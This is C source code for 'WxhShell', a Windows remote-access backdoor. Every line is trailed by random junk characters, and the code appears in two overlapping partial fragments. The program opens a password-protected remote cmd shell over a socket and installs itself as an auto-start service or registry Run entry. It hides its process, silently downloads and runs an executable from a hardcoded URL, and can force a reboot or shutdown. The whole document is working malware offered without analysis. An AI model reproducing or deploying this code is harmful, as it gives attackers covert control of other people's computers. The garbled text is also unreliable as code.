    if(Boot(SHUTDOWN)) bQzZy5,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xeg/A}yE  
    else { @+&LYy72  
    closesocket(wsh); x 77*c._3v  
    ExitThread(0); !{+,B5 Hc  
    } t >L2  
    break; sNbxI|B  
    } JinUV6cr  
  // 获取shell \0^Kram>  
  case 's': { $P >  
    CmdShell(wsh); A6  
    closesocket(wsh); E+j/ Cu  
    ExitThread(0); !4ocZmj\  
    break; wm+};L&_  
  } q\9JgD)  
  // 退出 F#3Q_G^/  
  case 'x': { j"8ZM{aO  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); SpIv#?  
    CloseIt(wsh); [$ubNk;!z  
    break; z{%<<pZ  
    } :tc@2/>!O  
  // 离开 I }a`0Y&{  
  case 'q': { ")1:F>  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); o@_q]/Mh  
    closesocket(wsh); \ ,'m</o~,  
    WSACleanup(); Oz75V|D  
    exit(1); 0G(/Wb"/  
    break; RF?`vRZOe  
        } D5gFXEeh  
  } s-NX o  
  } eFB5=)ld  
CYf$nYR  
  // 提示信息 Zcey|m*|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9sM!`Lz{  
} (=FRmdeYl1  
  } . o6Or:L  
I:-Wy"i  
  return; P7ao5NP  
} 3 #n_?-  
Ex.yU{|c  
// shell模块句柄 h! ,v/7=  
int CmdShell(SOCKET sock) L@rcK!s,lD  
{ ./XYd"p  
STARTUPINFO si; Ml`:UrU  
ZeroMemory(&si,sizeof(si)); e_^26^{q  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7kC^ 30@T3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +Z,;,5'5G  
PROCESS_INFORMATION ProcessInfo; 2/U.| *mH  
char cmdline[]="cmd"; qRu~$K  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -D<< kra  
  return 0; Q@=Q0  
} zWnX*2>b  
xPdG*OcX!  
// 自身启动模式 \wmN  
int StartFromService(void) .w:DFk^E]b  
{ M+oHtX$  
typedef struct XjBW9a  
{ ,S\CC{!  
  DWORD ExitStatus; S0$8@"~=  
  DWORD PebBaseAddress; y1z4ik)Sd@  
  DWORD AffinityMask; ufj,T7g^  
  DWORD BasePriority; 1l9 G[o *  
  ULONG UniqueProcessId; [=C6U_vU  
  ULONG InheritedFromUniqueProcessId; g/4[N{Xf  
}   PROCESS_BASIC_INFORMATION; (xycJ`N  
?C]vS_jAh  
PROCNTQSIP NtQueryInformationProcess; 6dHOf,zjm  
pG_;$8Hc  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; k``_EiV4t  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; pt?bWyKG  
R- X5K-  
  HANDLE             hProcess; HH`'*$]7  
  PROCESS_BASIC_INFORMATION pbi; -+-?w|}qV  
/>C^WQI^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 53_Hl]#qZ  
  if(NULL == hInst ) return 0; 7K12 G!)  
}f%}v  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $+Z[K.2J  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `Uq#W+r,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); aNsBcov3O  
7lTC{7C57  
  if (!NtQueryInformationProcess) return 0; ~ZaY!(R<  
sVQ|*0(J0r  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); , };& tR  
  if(!hProcess) return 0; Y!xF ;a  
F k7?xc  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; " > ypIR<  
$L `d&$Vh  
  CloseHandle(hProcess); 'JtBZFq  
>\R+9p:o  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); TT%M' 5&  
if(hProcess==NULL) return 0; _IMW {  
e v}S+!|U  
HMODULE hMod; +SzU  
char procName[255]; t}a: p6D]  
unsigned long cbNeeded; kb%;=t2  
A.F%Ycq  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); a9e>iU  
{'flJ5]  
  CloseHandle(hProcess); 4X/-4'  
3=#<X-);  
if(strstr(procName,"services")) return 1; // 以服务启动 E#RDqL*J  
!"AvY y9  
  return 0; // 注册表启动 m~BAyk^jo3  
} TJd)K$O>  
Xxj- 6i  
// 主模块 8bGd} (  
int StartWxhshell(LPSTR lpCmdLine) Mc lkEfn  
{ W_293["lS  
  SOCKET wsl; S)(.,x  
BOOL val=TRUE; + /G2fhE  
  int port=0; {L971W_L  
  struct sockaddr_in door; 2YL?,uLS  
+bxYG D  
  if(wscfg.ws_autoins) Install(); KRbvj  
c2SO3g\"i  
port=atoi(lpCmdLine); >dXGee>'M  
e)IzQ7Zex  
if(port<=0) port=wscfg.ws_port; 2y\E[jA  
_rMg}F"  
  WSADATA data; AF{\6<m  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; yZ7&b&2nLn  
iO$8:mxm0?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   PN%zIkbo  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^S<Y>Nm]  
  door.sin_family = AF_INET; ho{*Cjv  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \<h0Q,e  
  door.sin_port = htons(port); >gQ>1Bwvi  
uh_RGM&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *tFHM &a  
closesocket(wsl); `cn#B BV  
return 1; a~`eQ_N D  
} k8yEdi`  
Eh`7X=Z7E  
  if(listen(wsl,2) == INVALID_SOCKET) { Ufj`euY  
closesocket(wsl); m,28u3@r  
return 1; )iX~}7  
} o#)C^xlQ  
  Wxhshell(wsl);  'c&Ed  
  WSACleanup(); T.F!+  
hW' )Sp  
return 0; "9uKtQS0o  
3yme1Mb  
} yF:1( 4  
0 JS?;fk  
// 以NT服务方式启动 bRDYGuC  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) e ,'_xV  
{ E`JI>7  
DWORD   status = 0; 234p9A@  
  DWORD   specificError = 0xfffffff; o 11jca|  
Xq4O@V  
  serviceStatus.dwServiceType     = SERVICE_WIN32; iXkF1r]i  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; &AMl:@p9  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]EbM9Fo-U  
  serviceStatus.dwWin32ExitCode     = 0; ^0 )g/`H^>  
  serviceStatus.dwServiceSpecificExitCode = 0; G't$Qx,IC  
  serviceStatus.dwCheckPoint       = 0; GKqm&/M*=  
  serviceStatus.dwWaitHint       = 0; ;O5zUl-`  
Ty\R=y}}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;C#F>SG\S  
  if (hServiceStatusHandle==0) return; HWAdhDZ  
m@j?za9s  
status = GetLastError(); M^Yh|%M  
  if (status!=NO_ERROR) ja'T+!k  
{ CkC^'V)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; uc{Ihw  
    serviceStatus.dwCheckPoint       = 0; g/_5unI}u  
    serviceStatus.dwWaitHint       = 0; !TH) +zi  
    serviceStatus.dwWin32ExitCode     = status; Kn{4;Xk\  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3NqB <J  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \\ij(>CI  
    return; c ]-<vkpV  
  } Ny7S  
y7cl_rK  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; l4YbKnp]  
  serviceStatus.dwCheckPoint       = 0; c]<5zyl"j1  
  serviceStatus.dwWaitHint       = 0; 0o4XUW   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); k'Hs}zeNn  
} &B;~  
p>N(Typ0b  
// 处理NT服务事件,比如:启动、停止 *R,5h2;  
VOID WINAPI NTServiceHandler(DWORD fdwControl) `hm-.@f,9  
{ ?<,l3pwqa  
switch(fdwControl) **0~K";\  
{ sdrfsrNvB-  
case SERVICE_CONTROL_STOP: X`/k)N>l  
  serviceStatus.dwWin32ExitCode = 0; 3*bU6$|5FP  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; qZh/IW  
  serviceStatus.dwCheckPoint   = 0; =*.~BG  
  serviceStatus.dwWaitHint     = 0; K3m/(jdO  
  { -ad{tJV|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :kV#y  
  } }#+^{P3;  
  return; Po0A#Zl  
case SERVICE_CONTROL_PAUSE: kazzVK5x  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 0> E r=,e  
  break; rXq.DvQ  
case SERVICE_CONTROL_CONTINUE: c#]4awHU  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?R 'r4P,  
  break; @4C% +-  
case SERVICE_CONTROL_INTERROGATE: 7z,C}-q  
  break; Q\vpqE! 9  
}; zI uJ-8T"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !F-w3 ]  
} [DOckf oZx  
'oVx#w^mf  
// 标准应用程序主函数 ">nxHU  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) On?v|10r'  
{ l&zilVVm  
 > |=ts  
// 获取操作系统版本 H41?/U,{  
OsIsNt=GetOsVer(); {TROoX~H?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); *>}@7}f  
S13nL^=i  
  // 从命令行安装 ^DLfY-F+j  
  if(strpbrk(lpCmdLine,"iI")) Install(); V Q@   
$HzBD.CF|x  
  // 下载执行文件 =XQ%t @z0  
if(wscfg.ws_downexe) { RP|`HkP-2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) DCa^ u'f  
  WinExec(wscfg.ws_filenam,SW_HIDE); -i|}m++  
} Gz0]}]A  
3=[mP, pLh  
if(!OsIsNt) { `}\ "Aw c  
// 如果时win9x,隐藏进程并且设置为注册表启动 8Fh)eha9f  
HideProc(); U/M>?G~  
StartWxhshell(lpCmdLine); q?:dCFw$x5  
} &-w Cvp7  
else tOD6&<  
  if(StartFromService()) 3}1u\(Mf  
  // 以服务方式启动 pki%vRY  
  StartServiceCtrlDispatcher(DispatchTable); r5/0u(\LB  
else FV!q!D  
  // 普通方式启动 T::85  
  StartWxhshell(lpCmdLine); gJ{)-\  
Fo_sgv8O<  
return 0; Ax@$+/Z!  
} ~~P5k:  
kTB 0b*V  
Zx@a/jLO[n  
'LC1(V!_j  
=========================================== }<r)~{UV  
$PPi5f}HD  
Zi i   
7]bGc \  
b|DdG/O  
00y!K m_D  
" w9imKVry  
*^4"5X@  
#include <stdio.h> 33q}CzK  
#include <string.h> ^ @5QP$.  
#include <windows.h> V!=,0zy~Z  
#include <winsock2.h> *&W"bOMH*  
#include <winsvc.h> `w Vyb>T  
#include <urlmon.h> `h\j99  
J@'wf8Ub  
#pragma comment (lib, "Ws2_32.lib") "S]TP$O D  
#pragma comment (lib, "urlmon.lib") )&O %*@F  
CRE3icXbQ  
#define MAX_USER   100 // 最大客户端连接数 'H!Uh]!  
#define BUF_SOCK   200 // sock buffer BU_nh+dF  
#define KEY_BUFF   255 // 输入 buffer AT3Mlz~7#  
kzLsoZ!I  
#define REBOOT     0   // 重启 X_h}J=33Q  
#define SHUTDOWN   1   // 关机 cT,sh~-x,  
m(!FHPvN  
#define DEF_PORT   5000 // 监听端口 4$<JHo @.  
cq]6XK-W  
#define REG_LEN     16   // 注册表键长度 ~ 7s!VR  
#define SVC_LEN     80   // NT服务名长度 q9_OGd|P  
* u>\57W  
// 从dll定义API o.!Dq7 R  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); M }D}K\)  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 2ilQXy  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); vE?G7%,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); aFYIM`?(  
u6agoK|^9  
// wxhshell配置信息 F41=b4/  
struct WSCFG { n>YKa)|W`  
  int ws_port;         // 监听端口 NLqzi%s  
  char ws_passstr[REG_LEN]; // 口令 da(<K}  
  int ws_autoins;       // 安装标记, 1=yes 0=no PZ9I`P! C  
  char ws_regname[REG_LEN]; // 注册表键名 4[e X e$  
  char ws_svcname[REG_LEN]; // 服务名 cwg"c4V  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 z:*|a+cy  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Z9|P'R(l  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _DtV  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *] X'( /b_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :F?C)F  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 iBa A9  
$& td=OK  
}; e"<OELA  
VPo".BvG6  
// default Wxhshell configuration ,z jv7$L  
struct WSCFG wscfg={DEF_PORT, ":ue-=&M  
    "xuhuanlingzhe", MTn{d  
    1, (<9u-HF#  
    "Wxhshell", 8A# ;WG  
    "Wxhshell", 4hj|cCrO  
            "WxhShell Service", =^?/+p8 k  
    "Wrsky Windows CmdShell Service", 4pvMd  
    "Please Input Your Password: ", 7[)E>XRE  
  1, W<g1<z\f  
  "http://www.wrsky.com/wxhshell.exe", M= (u]%\  
  "Wxhshell.exe" ygcm|PrS  
    }; MQ2}EY*A  
upmx $H>  
// 消息定义模块 mfr|:i  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; z{QqY.Gu{G  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~"!fP3"e  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; B@ EC5Ap*  
char *msg_ws_ext="\n\rExit."; Z`i(qCAd(  
char *msg_ws_end="\n\rQuit."; %N._w!N<5n  
char *msg_ws_boot="\n\rReboot..."; 6gDN`e,@  
char *msg_ws_poff="\n\rShutdown..."; L4W5EO$  
char *msg_ws_down="\n\rSave to "; z$sT !QL~  
9 68Ez  
char *msg_ws_err="\n\rErr!"; Pq$n5fZC !  
char *msg_ws_ok="\n\rOK!"; L/K(dkx  
wCBplaojJ  
char ExeFile[MAX_PATH]; TWTb?HP  
int nUser = 0; ?@x/E&  
HANDLE handles[MAX_USER]; : A;RH  
int OsIsNt; d=/F}yP~?s  
YmG("z  
SERVICE_STATUS       serviceStatus; $`8wJf9@w  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {qVZNXDn  
LS[]=Mk@1  
// 函数声明 -9?]IIVb  
int Install(void); QT}tvm@PMq  
int Uninstall(void); <P<z N~i9j  
int DownloadFile(char *sURL, SOCKET wsh); 5^Zg>I  
int Boot(int flag); ~W/z96' 5  
void HideProc(void); V7/Rby Q  
int GetOsVer(void); h";L  
int Wxhshell(SOCKET wsl); 53 h0UL  
void TalkWithClient(void *cs); * T1_;4i  
int CmdShell(SOCKET sock); #vlgwA  
int StartFromService(void); L~3Pm%{@A  
int StartWxhshell(LPSTR lpCmdLine); $~)SCbL^5  
Z\sDUJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); BA.uw_^4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); WIGi51yC.x  
LzL So"n  
// 数据结构和表定义 =_^X3z0  
SERVICE_TABLE_ENTRY DispatchTable[] = K=&>t6s<  
{ j>kqz>3  
{wscfg.ws_svcname, NTServiceMain},  !VpoZ  
{NULL, NULL} Hn:Crl y#  
}; j8gdlIx  
/wG2vE8e  
// 自我安装 ,zc(t<|-y  
int Install(void) j<$2hiI/?&  
{ EQ_aa@M7  
  char svExeFile[MAX_PATH]; Q2> gU#  
  HKEY key; B5QFK  
  strcpy(svExeFile,ExeFile); d;>QhoiL  
lhJ'bYI  
// 如果是win9x系统,修改注册表设为自启动 -\MG}5?!  
if(!OsIsNt) { $cg cX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =~gvZV-<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i30!}}N8  
  RegCloseKey(key); wC*X4 '  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { '"Nr,vQo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VU#7%ufu&  
  RegCloseKey(key); jiGTA:v  
  return 0; pfPz8L.7  
    } wuBPfb  
  } A@'OJRc  
} ,%y /kS]  
else { /{2,zW  
u? EN  
// 如果是NT以上系统,安装为系统服务 I+(nu47ZT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); K NOIZj   
if (schSCManager!=0) @F>D+=hS  
{ [>9is=>o.  
  SC_HANDLE schService = CreateService >mkFV@`  
  ( jWgX_//!  
  schSCManager, H/Jbk*Q  
  wscfg.ws_svcname, A}w/OA97RO  
  wscfg.ws_svcdisp, ?A0)L27UE&  
  SERVICE_ALL_ACCESS, O0:q;<>z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |BYRe1l6l  
  SERVICE_AUTO_START, .Y|!:t|  
  SERVICE_ERROR_NORMAL, $Kd>:f=A  
  svExeFile, 7$#u  
  NULL, UZ";a453r  
  NULL, xx $cnG  
  NULL, +ai< q>+  
  NULL, 8,|kao:  
  NULL I 6O  
  ); b MBLXk  
  if (schService!=0) d'ifLQ\  
  { 1H9!5=Ff  
  CloseServiceHandle(schService); z!\*Y =e  
  CloseServiceHandle(schSCManager); r|Z{-*`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); w(F%^o\  
  strcat(svExeFile,wscfg.ws_svcname); 0}9h]X'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { sq]F;=[5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); < Z$J<]I  
  RegCloseKey(key); 3gzXbP,  
  return 0; yQrD9*t&g  
    } 7:~_D7n  
  } q\)-BXw:  
  CloseServiceHandle(schSCManager); T{'RV0%   
} Ca-j?bb!  
} /Kbl%u  
{+Jv+J9  
return 1; DwF hK*  
} #E]59_  
<N @Gu!N8  
// 自我卸载 f mGc^d|=  
int Uninstall(void) JS77M-Ac  
{ 92{\B- l  
  HKEY key; ?ubro0F:  
.C(tMF]D,  
if(!OsIsNt) { JI5Dy>u:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X?Au/  
  RegDeleteValue(key,wscfg.ws_regname); a{e4it  
  RegCloseKey(key); \NC3'G:Ii  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (.,G=\!  
  RegDeleteValue(key,wscfg.ws_regname); N21smC}  
  RegCloseKey(key); %)n=x ne  
  return 0; lfg6646?S  
  } WhDJ7{D  
} "#48% -'x  
} 11lsf/IP  
else { D{!IW!w  
xC?h2hIt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); W!<U85-#S  
if (schSCManager!=0) j.YA 2mr  
{ n`KY9[0U=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @pxcpXCy  
  if (schService!=0) vv7I_nK?  
  { OJxl<Q=z  
  if(DeleteService(schService)!=0) { }\LQ3y"[  
  CloseServiceHandle(schService); 8ipez/  
  CloseServiceHandle(schSCManager); Debv4Gr;^  
  return 0; $8FUfJ1@  
  } snJ129}A  
  CloseServiceHandle(schService); g78^9Y*1  
  } E.f%H(b  
  CloseServiceHandle(schSCManager); Ep}s}Stlr}  
} W8<%[-r  
} tVjsRnb{  
M(fTKs  
return 1; s@C}P  
} =Sv/IXX\di  
YK\X+"lB  
// 从指定url下载文件 ])!*_  
int DownloadFile(char *sURL, SOCKET wsh) /( LL3cZK  
{ `x|?&Ytmf9  
  HRESULT hr; p#Bi>/C6  
char seps[]= "/"; Z ]ONh  
char *token; <}LC~B!  
char *file; ;PH~<T  
char myURL[MAX_PATH]; #1[u (<AS  
char myFILE[MAX_PATH]; rs.)CMk53  
=T_g}pu  
strcpy(myURL,sURL); 5)E @F9N  
  token=strtok(myURL,seps); S[N5 ikg  
  while(token!=NULL) T;uX4,|(  
  { 6nQq  
    file=token; +qoRP2  
  token=strtok(NULL,seps); b]y2+A.n  
  } _g. {MTQ  
Y0>y8U V  
GetCurrentDirectory(MAX_PATH,myFILE); Z}QB.$&  
strcat(myFILE, "\\"); % `3jL7|  
strcat(myFILE, file); xfQ1T)F3g  
  send(wsh,myFILE,strlen(myFILE),0); [vgtc.V  
send(wsh,"...",3,0); 7 3m1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $^ P0F9~0  
  if(hr==S_OK) ZW}_DT0  
return 0; 7L??ae  
else ]-q;4.  
return 1; #F#%`Rv1  
nK,w]{<wG!  
} g){<y~Mk  
RZ7@cQY  
// 系统电源模块 >/|*DI-HJ  
int Boot(int flag) Uv.)?YeGh  
{ 40/Y\  
  HANDLE hToken; %LV9=!w  
  TOKEN_PRIVILEGES tkp; ..qCPlK;  
YMgNzu  
  if(OsIsNt) { G?ZXWu.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); weQ_*<5%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8RX&k  
    tkp.PrivilegeCount = 1; uc=B,3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Qd-A.{[h  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "#]$r  
if(flag==REBOOT) { ,'+kBZOv  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +H.`MZ=  
  return 0; ]A"h&`Cvt  
} ;]iRk  
else { -%~4W?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) liZxBs :%i  
  return 0; q@&6#B  
} J1vR5wbu  
  } ( =$ x.1  
  else { R2;  
if(flag==REBOOT) { '7/)Ot(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) y^k$Us  
  return 0; /,dz@   
} 8QK&_n*  
else { Gq6*SaTk  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <UI [%yXj  
  return 0; <[phnU^ 8  
} sS Mh`4'  
} JLYi]nZ  
%RVZD#zr  
return 1; y(&Ac[foS}  
} )7d&NE_  
j [a(#V{  
// win9x进程隐藏模块 ZoeD:xnh[  
void HideProc(void) TV:9bn?r)  
{ Mhu*[a=;x  
XuTD\g3)  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); O8o3O 6[Y  
  if ( hKernel != NULL ) p'k0#R$  
  { (mOtU8e  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); dveiQ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5\v3;;A[  
    FreeLibrary(hKernel); CAe!7HiR  
  } ;`Z{7'^U  
GVz6-T~\>  
return; FlQGg VN  
} H.;Q+A,8^  
q| 7(  
// 获取操作系统版本 LscGTs,  
int GetOsVer(void) G B^Br6  
{ 9$Y=orpWxr  
  OSVERSIONINFO winfo; 83m3OD_y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~>G^=0LT  
  GetVersionEx(&winfo); pdMc}=K  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @d_M@\r=j  
  return 1; KXrjqqXs  
  else Z,=1buSz_  
  return 0; k!^{eOM  
} YQ} o?Q$z  
Fcx&hj1gQ  
// 客户端句柄模块 }qUX=s GG  
int Wxhshell(SOCKET wsl) ^pS~Z~[d/  
{ jo7\`#(Q  
  SOCKET wsh; t:S+%u U  
  struct sockaddr_in client; LP-o8c  
  DWORD myID; b$7 +;I;  
@ZJS&23E  
  while(nUser<MAX_USER) >_TZ'FT  
{ 6b,V;#Anj  
  int nSize=sizeof(client); [;N'=]`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "7 yD0T)2  
  if(wsh==INVALID_SOCKET) return 1; yu|>t4#GT  
>lm&iF3y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); dQvcXl]  
if(handles[nUser]==0) QP x^_jA  
  closesocket(wsh); :3PH8TL  
else +t.b` U`-  
  nUser++; MA\V[32H  
  } GY*p?k<i  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); cNrg#Asen&  
54,er$$V  
  return 0; Q59suL   
} ?0.NIu,,o  
+3gp%`c4  
// 关闭 socket =wJX 0A|  
void CloseIt(SOCKET wsh) @WhHUd4s  
{ =M1I>  
closesocket(wsh); !Cs_F&l"j  
nUser--; qK+5NF|  
ExitThread(0); Sdo-nt  
} A,]h),b  
l{9Y  
// 客户端请求句柄 Wqnc{oq |$  
void TalkWithClient(void *cs) Sz~OX6L  
{ PnTu  
+q4O D$}  
  SOCKET wsh=(SOCKET)cs; [^)g%|W  
  char pwd[SVC_LEN]; OI*H,Z "  
  char cmd[KEY_BUFF];  G*m 0\  
char chr[1]; dr(*T  
int i,j; m 5.Zu.  
v19-./H^ j  
  while (nUser < MAX_USER) { ]'cs.  
gR**@t=;j  
if(wscfg.ws_passstr) { DXo|.!P=3  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #E?4E1bnB  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J,hCvm  
  //ZeroMemory(pwd,KEY_BUFF); \+etCo   
      i=0; M:8R -c#![  
  while(i<SVC_LEN) { `uFdwO'DD  
{ax:RUQxy  
  // 设置超时 wJ]d&::@h  
  fd_set FdRead; oDR%\VY6T  
  struct timeval TimeOut; ^~dWU>  
  FD_ZERO(&FdRead); H|*m$| $,  
  FD_SET(wsh,&FdRead); [ 3Gf2_  
  TimeOut.tv_sec=8; ,}PgOJZ  
  TimeOut.tv_usec=0; a#4?cEy  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); bOB \--:]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _#niyW+?~  
do%&m]#;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a[C@  
  pwd=chr[0]; KXy6Eno  
  if(chr[0]==0xd || chr[0]==0xa) { $ `c:&  
  pwd=0; j.Hf/vi`z  
  break; @F eTz[  
  } "[k3kAm  
  i++; #R"*c hLV  
    } p?!/+  
x Ar\gu  
  // 如果是非法用户,关闭 socket 8m MQ[#0:}  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ulyue  
} uD'6mk*  
^ y::jK  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  Sf'CN8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I0 -MRU~[K  
d~H`CrQE*  
while(1) { DF= *_,2/  
fl(wV.Je|  
  ZeroMemory(cmd,KEY_BUFF); \Z/@C lCm  
WLT"ji0w2  
      // 自动支持客户端 telnet标准   `Oa WGZ[  
  j=0; 6'/ #+,d'  
  while(j<KEY_BUFF) { D^O@'zP=At  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y0#2m6u  
  cmd[j]=chr[0]; [6fQ7uFMM8  
  if(chr[0]==0xa || chr[0]==0xd) { gJXaPJA{  
  cmd[j]=0; +rd+0 `}C  
  break; V&5wRz+`W  
  } =  [E  
  j++; 8=l%5r^cq  
    } cr3^6HB  
 @5FQX  
  // 下载文件 $mILoy B,  
  if(strstr(cmd,"http://")) { !a`&O-ye  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); CrLrw T  
  if(DownloadFile(cmd,wsh)) 3S{ />1Y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); GJrG~T  
  else C_Dn{  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;+%rw2Z,B  
  } &ncvGDGi  
  else { L,\Iasv  
\hXDO_U  
    switch(cmd[0]) { KoT\pY^7\  
